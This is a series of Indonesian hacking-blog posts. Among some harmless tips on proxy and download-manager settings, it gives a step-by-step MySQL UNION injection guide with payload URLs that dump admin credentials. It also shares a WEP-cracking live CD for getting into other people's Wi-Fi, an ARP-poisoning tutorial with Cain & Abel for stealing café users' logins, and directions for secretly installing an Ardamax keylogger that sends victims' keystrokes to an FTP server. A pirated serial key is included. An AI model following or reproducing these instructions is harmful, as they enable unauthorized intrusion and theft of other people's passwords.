SALURAN INTERNET GRATIS TAPI TETEP PAKE MODAL
10.51
m03
· Katel : penggorengan, alat dapur buat masak
Posted in
STEP BY STEP mySQL INJECTION
10.40
m03
Pengertian sql injection:
SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.
Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ' atau -
comments: /* atau --
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x
===========
=step Satu:=
===========
carilah target
misal: [site]/berita.php?id=100
Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.
contoh:
[site]/berita.php?id=100' atau
[site]/berita.php?id=-100
ehingga muncul pesan error seperti berikut (masih bnyak lagi):
==========
=step Dua:=
==========
mencari dan menghitung jumlah table yang ada dalam databasenya...
gunakan perintah : order by
contoh:
[site]/berita.php?id=-100+order+by+1-- atau
[site]/berita.php?id=-100+order+by+1/*
ceklah secara step by step (satupersatu)...
misal:
[site]/berita.php?id=-100+order+by+1--
[site]/berita.php?id=-100+order+by+2--
[site]/berita.php?id=-100+order+by+3--
[site]/berita.php?id=-100+order+by+4--
sehingga muncul error atau hilang pesan error...
misal: [site]/berita.php?id=-100+order+by+9--
berarti yang kita ambil adalah sampai angka 8
menjadi [site]/berita.php?id=-100+order+by+8--
===========
=step Tiga:=
===========
untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8--
ok seumpama yg keluar angka 5
gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8--
lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..
untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah From+Information_schema..
============
=step Empat:=
============
untuk menampilkan table yg ada pada web tsb adalah
perintah table_name >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir
Code:
[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables--
seumpama table yang muncul adalah "admin"
===========
=step Lima:=
===========
untuk menampilkan semua isi dari table tsb adalah
perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah angka terakhir
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.tables+where+table_schema=database()--
=============
= step Enam: =
=============
perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.columns+where+table_name=0xhexa-- >>> dimasukan setelah angka terakhir
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema .columns+where+table_name=0xhexa--
pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :
http://www.v3n0m.net/ascii.htm
contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema .columns+where+table_name=0x61646D696E--
============
=step Tujuh:=
============
memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara
perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir
Contoh :
[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)--
contoh kata yang keluar adalah id,username,password
Contoh :
[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin--
==============
= step Delapan:=
==============
tahap terakhir mencari halam admin atau login .
Silahkan DI pelajari
Posted in
MEMPERCEPAT ACCESS INTERNET MENGGUNAKAN SOFTWARE PROXY
09.30
m03
Assalamualaikum...
mau share dikit
bagaimana cara mempercepat koneksi internet dari hp ke pc menggunakan gprs??
Pertanyaan di atas tersebut mungkin kita sudah banyak mendapatkan solusinya, yaitu menggunakan software prabayar maupun gratisan. sama halnya dengan thread ini saya ingin mengulas cara menggunakan tools proxy client di gunakan untuk mempercepat koneksi gprs ke pc kita.
yaitu menggunakan tools privoxy
step by step
- install privoxy di pc anda kemudian lakukan setting configurasi dengan cara klik kanan tray icon pilih Edit -> Main Configuration.
- Kemudian edit besarnya buffer menjadi 64kb, atau terserah anda mau membuat brapa kbps, tetapi saya sarankan ke 64kb saja :) (tidak ada alasan)
penjelasan tentang fungsi dari tools ini yaitu untuk memblok semua banner, iklan flash,picture original,dll karena dapat membebani koneksi kita.
Sebenarnya cara memblok-blok banner etc. di atas bisa menggunakan setingan media browsing kita, namun tidak maksimal.
Untuk menjalankan proxynya yaitu setting di browser menggunakan proxy 127.0.0.1 dan port 8118
Posted in
HACKING KONEKSI WI-FI
04.29
m03
Jalan-jalan.. eh dapet yang beginian..... untuk kalian-kalian yang lagi tongpes... tapi hasrat untuk berseluncur lagi tinggi... mending jebol aja wi-fi nya.. supaya bisa berinternet gratis!
Software ini dibuat berdasarkan Linux dan dibuat Knoppix-nya (distro Linux live-cd yang dapat dijalankan melalui CD-ROM tanpa instalasi di hard disk.), jadi kita tak perlu menggunakan OS Linux.
* Burn hasil download-an ke kepingan CD
* Booting dengan menggunakan CD tersebut
* Catat WEP/key dari koneksi wi-fi yang mau di jebol
* Restart komputer, masuk ke windows
* Jebol koneksi wi-fi tadi menggunakan wep key yang barusan dicatat
Wireless Hacking Live - FBI version
- Live Cd For Wireless Hacking, Also Used By The FBI
- This version is for all systems except systems with the Intel B/G wireless cards (IPW2200).
- Live CD with all the tools you need to hack a WLAN / wireless Access point - Linux Live-CD - OS runs from CD - 635 mb - .iso
WEP Hacking - The Next Generation
Traditionally, cracking WEP keys has been a slow and boring process.
An attacker would have to capture hundreds of thousands or millions of packets a process that could take hours or even days, depending on the volume of traffic passing over thewireless network.
After enough packets were captured, a WEP cracking program such as Aircrack would be used to find the WEP key.
This current generation uses a combination of statistical techniques focused on unique IVs captured and brute-force dictionary attacks to break 128 bit WEP keys in minutes instead of hours.
Basic Directions:
1)Boot from cd
2)get the wep key
3)write it down
4)reboot into windows
5)connect using wep key
dunlut aje di sokin :
- part 1
- part 2
- part 3
- part 4
- part 5
- part 6
- part 7
Posted in
CAIN & ABEL
04.09
m03
Siapa tidak tahu pasangan serasi dalam dunia hacking? ya Cain & Abel, keduanya merupakan pasangan untuk melakukan hack dalam jaringan dengan fitur yang cukup lengkap. Nah aku disini mau kasih tutorial cain & abel + preview.
udah pada tau kan cain + abel..
nah ada sedikit tutorial neh, maklum ya yang nulis masih newbie jadi tulisannya acak-acakan
Untuk proses installnya gak usah di ajarin ya.. aku anggep semua udah pada bisa eh ini bisa berjalan dalam 1 jaringan, so kalo kamu ke warnet, orang yang login FS, FB, dan lainnya bisa didapat user ma passnya. Hal ini juga berlaku di hot spot.langsung aja buka cain + abelnya..
klik start / stop sniffer
[gmbr1]
Abis itu klik tanda + [warna biru] untuk melakukan scan mac address, maka tampilan akan seperti ini
[gmbr2]
pada mac address scan langsung klik OK saja
maka akan loading dan didapatkan banyak IP address dalam 1 jaringan dan bisa diketahui mac addressnya
setelah lancar sampai disini kamu bisa langsung ke selanjutnya aja.
[gmbr3]
Klik APR di tab bagian bawah, dan tampilan akan seperti ini
setelah itu klik tanda + [warna biru] untuk menambahkan IP address yang ingin di poisoning . tampilan akan seperti ini
[gmbr4]
di bagian kiri kamu pilih IP routernya [bagaimana kita tahu IP routernya?... apa perlu dijelasin juga?]
masuk ke cmd dan ketikan ipconfig /all maka akan diketahui segenap informasi. Nah pikir aja sendiri mana yang jadi routernya ya.
yang dibagian kanan adalah IPaddress yang ingin di poisoning. Kalau mau semua 1 jaringan cukup blok semua aja.
Nah abis itu klik ok.
[gmbr5]
Abis langkah itu maka tampilannya seperti ini
Nah statusnya idle kan? itu tandanya belum di poisoning. Klik start / stop arp dan statusnya akan berubah menjadi poisoning
[gmbr6]
Adanya daftar dibawah menandakan bahwa ada proses yang sedang dikerjakan
[gmbr7]
langsung saja masuk ke dalam password dengan klik tab password di bagian bawah
[gmbr8]
nah klik dibagian kiri HTTP, dan lihat hasilnya
cain n abel nya bisa di download di sini
Posted in
SETTING IDM BIAR BENER BENER NGACIR UYY....
23.37
m03
Gini caranya:
1. klik IDM
2. klik Option
3. Pada Connection/ Speed, pilih Other, dan pada Default Max conn.number pilih 16
4. Tutup IDM
5. Jalankan Regedit>HKCU>Software>Download Manager> (lihat jendela kanan) Connection Speed>double click>pilih decimal> isi dengan 9999999999999>OK
7. Coba untuk download....;-)
Kalo koneksi kita memakai dial-up, apalagi yang paket unlimited, provider membatiasi (quota banwith) sesuai dengan paket yang dipilih. Setingan di atas akan MENGOPTIMALKAN banwith transmission sesuai quotanya......pilih paket corporate dari provider, baru deh benar-benar ngacir..(untuk SMART kalo gak salah pilih paket Platinum). atau kamu menggunakan wi-fi.
Selain itu, tidak semua paralel server di IDM (sebanyak 16) dapat dipake bersama-sama ketika download.
Posted in
HACKING FACEBOOK with ARDAMAX
23.00
m03
Langkah pertama gunakan muka melas untuk masuk ke dalam warnet terdekat.
Langkah kedua biar enak nyalain dulu dah rokonya .
Langkah ketiga klo kompi yang kita gunakan sedang dalam keadaan hidup bisa di restart ulang
Langkah ke empat baru kita kerja :
1 . Karna setting warnet pake Deepfreeze kita jebol dulu deepfreezenya pake Undeepfreeze yang udah di siapkan .
2 . lalu ngeroko dulu sambil nunggu kompinya nyala lagi
3 . klo udah nyala install ARDAMAX keylogger masukan user dan key nya
USER : nGen 2oo6
KEY : RTHUUGQVAWDFOQT
4 . centang option yang perlu di centang
Di Menu General
-invisibility
Centang Semuanya Oke
ini berfungsi untuk menghilangkan tampilan keyloger
-Options
Centang
Run at windows Start Up
start In Hidden Mode
Saat start up , keylogger ini tidak akan nampak tapi tetap bekerja, untuk melihatnya gunakan shift+alt+h
setting menu delivery
-control
send log every 60 menit ( ini untuk report yang akan dikirim secara otomatis oleh keylogger)
delivery method : ftp
disini kamu bisa milih cara apa untuk menghasilkan repport yang akan dikirim si keylogger, kalo aku sih pake ftp
-FTP
isi dengan
ftp host : http://ftp.usl.co.id
Remote folder : arthacking
Port : 21
username : tux@usl.co.id
password : **************
Coba Test (Jika Sukses Berarti Kamu Udah Benar)
klik kanan lagi segera hidden Mode
pasang kembali deepfreeze, agar tidak dicurigai,
sesudah ini kamu jadi juragan yang tinggal nunggu ikan yang masuk perangkap kamu
Posted in

